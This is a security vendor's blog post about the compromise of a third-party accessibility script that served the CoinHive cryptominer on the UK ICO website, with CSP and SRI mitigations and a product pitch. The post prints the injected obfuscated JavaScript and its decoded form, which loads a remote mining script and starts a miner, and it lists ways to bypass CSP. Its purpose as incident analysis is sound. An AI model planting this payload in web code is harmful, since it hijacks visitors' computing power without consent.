ICO Case Study | Tackling Cryptojacking with Real-time Webpage Monitoring

By Pedro Fortuna 8 min read

This weekend, the UK’s Information Commissioner’s Office website – ICO was caught serving the CoinHive crypto miner to its users. CoinHive crypto miner is a JavaScript that can be installed on any website for mining crypto (e.g., Monero – XMR).

This wasn’t the intention of the ICO, an institution that helps protect privacy for UK users. It resulted from a compromise with a 3rd party provider, TextHelp, used in ICO’s website.

This was flagged by Scott Helme – securityheaders.io and report-uri.com founder – after a tip from Ian Trump, another security expert.

The Cryptojacking Attack

By loading JavaScript straight from a 3rd party website, they are opening the door for injection attacks. And it’s not a matter of trusting the 3rd party provider or not, as they can unknowingly be compromised, allowing the attackers to use it as a vehicle for the injection.

This was the bit that was added to the ba.js script:

window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"]("x3cx73x63x72x69x70x74 x74x79x70x65x3dx27x74x65x78x74x2fx6ax61x76x61x73x63x72x69x70x74x27 x73x72x63x3dx27x68x74x74x70x73x3ax2fx2fx63x6fx69x6ex68x69x76x65x2ex63x6fx6dx2fx6cx69x62x2fx63x6fx69x6ex68x69x76x65x2ex6dx69x6ex2ex6ax73x3fx72x6ex64x3d"+window["x4dx61x74x68"]["x72x61x6ex64x6fx6d"]()+"x27x3ex3cx2fx73x63x72x69x70x74x3e");window["x64x6fx63x75x6dx65x6ex74"]["x77x72x69x74x65"]('x3cx73x63x72x69x70x74x3e x69x66 x28x6ex61x76x69x67x61x74x6fx72x2ex68x61x72x64x77x61x72x65x43x6fx6ex63x75x72x72x65x6ex63x79 x3e x31x29x7b x76x61x72 x63x70x75x43x6fx6ex66x69x67 x3d x7bx74x68x72x65x61x64x73x3a x4dx61x74x68x2ex72x6fx75x6ex64x28x6ex61x76x69x67x61x74x6fx72x2ex68x61x72x64x77x61x72x65x43x6fx6ex63x75x72x72x65x6ex63x79x2fx33x29x2cx74x68x72x6fx74x74x6cx65x3ax30x2ex36x7dx7d x65x6cx73x65 x7b x76x61x72 x63x70x75x43x6fx6ex66x69x67 x3d x7bx74x68x72x65x61x64x73x3a x38x2cx74x68x72x6fx74x74x6cx65x3ax30x2ex36x7dx7d x76x61x72 x6dx69x6ex65x72 x3d x6ex65x77 x43x6fx69x6ex48x69x76x65x2ex41x6ex6fx6ex79x6dx6fx75x73x28'x31x47x64x51x47x70x59x31x70x69x76x72x47x6cx56x48x53x70x35x50x32x49x49x72x39x63x79x54x7ax7ax58x71'x2c x63x70x75x43x6fx6ex66x69x67x29x3bx6dx69x6ex65x72x2ex73x74x61x72x74x28x29x3bx3cx2fx73x63x72x69x70x74x3e');


The code has a very light obfuscation that just uses Subscript Notation to transform window.document.write into window[‘document’][‘write’] – and subsequently String Encoding to hide all sensitive strings like ‘document’ and ‘write’ and also the references to CoinHive’s URL and code.

Here is a reversed version:

window["document"]["write"]("<script type='text/javascript' src='https://coinhive.com/lib/coinhive.min.js?rnd=" + window["Math"]["random"]() + "'></script>");
window["document"]["write"]('<script> if (navigator.hardwareConcurrency > 1){ var cpuConfig = {threads: Math.round(navigator.hardwareConcurrency/3),throttle:0.6}} else { var cpuConfig = {threads: 8,throttle:0.6}} var miner = new CoinHive.Anonymous('1GdQGpY1pivrGlVHSp5P2IIr9cyTzzXq', cpuConfig);miner.start();</script>');


It turns out that the ICO wasn’t the only website affected. More than 4000 websites were reported to be loading the infected script directly from the browsealoud.com website.

This isn’t too different from the alleged attack against jQuery’s CDN that RiskIQ claims was serving the RIG exploit kit to every user of every website loading jQuery directly from their CDN lasting a few hours before the injection was removed. This is far too appealing to attackers who can compromise users at scale by attacking dependencies being loaded dynamically.

The focus of those attacks seems to be shifting to cryptojacking. Many examples of websites have been compromised recently. jQuery’s blog is one example. The attack on TextHelp is just one of the most recent ones.

Mitigation using CSP + SRI

As pointed out by Scott Helme, one way to mitigate this is to add Subresource integrity (SRI) attributes to the script elements loading the external scripts. He even suggested complementing that with using CSP’s require-sri-for directive to enforce the use of SRI tags.

This is a good suggestion, but it doesn’t work very well if the dependency script needs to be updated regularly, which seems to be the case. A good compromise can be to use CSP to limit the domains where the script is being loaded.

But this is not perfect. It probably leaves room for injecting arbitrary scripts depending on what domains are allowlisted. This was brilliantly covered by Michele Spagnuolo and Lukas Weichselbaum. But basically, there are plenty of ways for this to happen.

A few examples:

  1. JSONP callback endpoints

  2. Bypasses using AngularJS and other JS frameworks – there are documented CSP bypasses that may allow an attacker to inject arbitrary JS into the page

  3. Use an open redirect on an allowlisted domain, as the path is ignored by CSP after a redirect



The takeaway from this is that it is really hard to do allowlist-based CSP and skilled attackers will probably find bypasses.

A better solution is to use CSP nonces, a base64-encoded sequence that must be unique each time your page loads and must be set as an attribute to both inline and external scripts. This way, the injected script has no way of anticipating the valid nonce and loading will fail. However, in this attack specifically, the bad guy could easily inject the whole coinhive.js file, which would get past the CSP (but not the SRI).

In any case, you still need to use SRI to ensure invalid scripts aren’t loaded, but again it’s not a good option if the JS lib needs frequent updates. You can always host the file yourself, but that isn’t always possible in cases where the JavaScript is dynamically generated (which is a bad practice anyway).

Regarding CSP, a word of caution, as any header-based web security control can be disarmed by a browser extension.

Mitigation using Real-time Monitoring of the Webpage

If there’s no infallible way of being sure malicious code or markup is injected into your website, then the next best thing is to know about it and react in real time.

That’s precisely what one is able to do with Jscrambler’s Webpage Integrity technology. It monitors the Webpage DOM for any injection and reports back to a webhook on the backend. It detects any change, including 0-day threats, not just known injections.

In some cases, it can also remove the injection on the spot. It may not be a permanent removal at first, but it’s extremely useful because not only does it prevent that execution from affecting that session, but it also tells you what was injected.

It is possible then to figure out how that injection was inserted in the first place and take measures to fix the situation permanently.

Webpage Integrity vs. CSP

It’s similar to the CSP report interface, but it does not use CSP at all. There’s some overlapping, but you get the best protection when you use both.

The advantage of Webpage Integrity’s approach is that contrary to CSP, one can be warned immediately if a script changes and starts pouring script tags into the DOM, allowing for a real-time reaction. This is definitely relevant in situations where SRI is not an option (e.g. script needs to be updated in real-time).

The maliciously modified ba.js is not being served anymore from browsealoud.com, but our team replicated the attack by forcing the infected ba.js version (instead of the current one) into ICO’s website.

At the same time, we manually injected the Webpage Integrity Embedded Agent into ICO’s website to monitor the webpage DOM. The goal was to catch the output of the document.write’s landing on the ICO’s webpage DOM and mitigate the attack.

Not only we were able to catch the injected <script> loading the CoinHive’s script, but also the inline script initializing the lib and kickstarting the mining.

You can see this in the dashboard (see figure below) and at the same time, you receive a notification on your backend upon which you can configure security policies.

webpage-integrity-dashboard-showing-an-injectionFigure 1 – Webpage Integrity Dashboard showing one of the injections.

Conclusion

With the growing popularity (and value) of cryptocurrencies, attackers are turning to steal our computer’s cycles as a way to get cash.

Cryptojacking has been all over the news in the last year or so. This TextHelp incident is just one more demonstration of how appealing this is for attackers, especially if they are able to compromise 3rd party dependencies and target many websites with a single blow. We are sure to see more of these attacks in the future.

CSP is helpful for restricting external JavaScript from being loaded in a website but is not meant to assure the integrity of scripts that it expects to load. SRI can lay a hand there, but it’s hard to maintain when the scripts change often.

Jscrambler’s Webpage Integrity is a new approach that monitors the webpage in real-time for DOM modifications, JS poisoning attacks, JS event-hijacking, and XSS – and reports back to the backend, allowing the web app to react immediately.

With it, we were able to demonstrate that we could catch the injection from TextHelp’s compromised script and would have been able to notify the ICO (or any other website likely to have been hit).

As a final note, here is a “what if” exercise: in these exploits, the attacker only cared about using the end-user’s CPU to mine crypto. However, the ability to execute arbitrary JavaScript in the webpage would allow the attacker to collect any sensitive information that the user accesses or completely modifies the DOM and trick the user into giving away his credentials or performing some action not in his best interest.

Client-side injections are a problem that needs to be tackled as hard as one can.